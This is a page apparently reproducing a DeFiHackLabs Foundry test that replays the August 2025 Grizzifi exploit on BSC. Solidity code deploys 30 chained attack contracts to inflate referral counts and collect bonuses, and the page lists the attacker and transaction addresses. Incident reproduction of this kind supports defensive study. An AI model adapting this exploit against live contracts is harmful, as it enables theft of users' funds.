Public reproduction file
src/test/2025-08/Grizzifi_exp.sol
Public reproduction file for dataset entry Grizzifi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 61k USD8// Attacker : https://bscscan.com/address/0xe2336b08a43f87a4ac8de7707ab7333ba4dbaf7c9// Attack Contract : https://bscscan.com/address/0xEd35746F389177eCD52A16987b2aaC74AA0c112810// Vulnerable Contract : https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b11// Attack Tx : https://bscscan.com/tx/0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c113// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/MetaTrustAlert/status/195596786227682937519// Hacking God : N/A20pragma solidity ^0.8.0;22address constant GRIZZIFI = 0x21ab8943380B752306aBF4D49C203B011A89266B;23address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;25contract Grizzifi is BaseTestWithBalanceLog {26 uint256 blocknumToForkFrom = 57478534 - 1;27 address[] public attackContracts = new address[](30);29 function setUp() public {30 vm.createSelectFork("bsc", blocknumToForkFrom);31 deal(BSC_USD, address(this), 600 ether);32 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit33 fundingToken = BSC_USD;34 }36 function testExploit() public balanceLog {37 //implement exploit code here39 // Step 1: create 30 attack contracts and send 20 bsc-usd to each attack contract40 // https://bscscan.com/tx/0x4302de51c8126e7934da9be1affbde73e5153fe1f9d0200a738a269fe07d22c741 for (uint256 i = 0; i < 30; i++) {42 AttackContract1 ac1 = new AttackContract1();43 attackContracts[i] = address(ac1);44 IERC20(BSC_USD).transfer(address(ac1), 20 ether);45 }47 // Step 2: run grizzifi.harvestHoney48 // https://bscscan.com/tx/0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c150 // The root cause is, in the _incrementUplineTeamCount(), 51 // it checks the `totalInvested` (including withdrawn) instead of active investments52 address regCenter = address(0);53 for (uint256 i = 0; i < 30; i++) {54 address ac1 = attackContracts[i];55 AttackContract1(ac1).init(GRIZZIFI, regCenter);56 regCenter = ac1;57 }59 // Step 3: withdraw60 // 0xdb5296b19693c3c5032abe5c385a4f0cd14e863f3d44f018c1ed318fa20058f761 for (uint256 i = 0; i < 30; i++) {62 // ignore the Grizzifi: No referral or milestone bonuses to claim error63 try AttackContract1(attackContracts[i]).withdraw(GRIZZIFI) {64 } catch {65 }66 }67 }68}71contract AttackContract1 {72 function init(address owner, address regCenter) public {73 IERC20 bscUsd = IERC20(BSC_USD);74 IGrizzifi grizzifi = IGrizzifi(owner);76 bscUsd.approve(owner, type(uint256).max);77 grizzifi.harvestHoney(0, 10 ether, regCenter);79 AttackContract2 ac2 = new AttackContract2();80 bscUsd.transfer(address(ac2), 10 ether);81 ac2.run(BSC_USD, owner, regCenter);82 }83 function withdraw(address token) public {84 IGrizzifi(token).collectRefBonus();85 IERC20 bscUsd = IERC20(BSC_USD);86 bscUsd.transfer(msg.sender, bscUsd.balanceOf(address(this)));87 }88}90contract AttackContract2 {91 function run(address token, address router0, address router1) public {92 IERC20(token).approve(router0, type(uint256).max);93 IGrizzifi(router0).harvestHoney(0, 10 ether, router1);94 }95}97interface IGrizzifi {98 function harvestHoney(uint256 _planId, uint256 _amount, address _referrer) external;99 function collectRefBonus() external;100}Analysis
Dataset entry
Public Foundry test for “Grizzifi” (2025-08-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe2336b08a43f87a4ac8de7707ab7333ba4dbaf7c
- Attack Contract
0xed35746f389177ecd52a16987b2aac74aa0c1128
- Vulnerable Contract
0x21ab8943380b752306abf4d49c203b011a89266b
- Attack Tx
0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c1
- Twitter: https://x.com/MetaTrustAlert/status/1955967862276829375
- Explorer: https://bscscan.com/address/0xe2336b08a43f87a4ac8de7707ab7333ba4dbaf7c
- Explorer: https://bscscan.com/address/0xEd35746F389177eCD52A16987b2aaC74AA0c1128
- Explorer: https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b
- Explorer: https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b#code
- Explorer: https://bscscan.com/tx/0x4302de51c8126e7934da9be1affbde73e5153fe1f9d0200a738a269fe07d22c7
File record
- Name
- Grizzifi
- Path
- src/test/2025-08/Grizzifi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 489aa83b5904348e6ae6feb6fb4beef03c3cd7df
- Language
- Solidity
- Size
- 101 lines
- Date
- 2025-08-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/Grizzifi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 489aa83b5904348e6ae6feb6fb4beef03c3cd7df, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.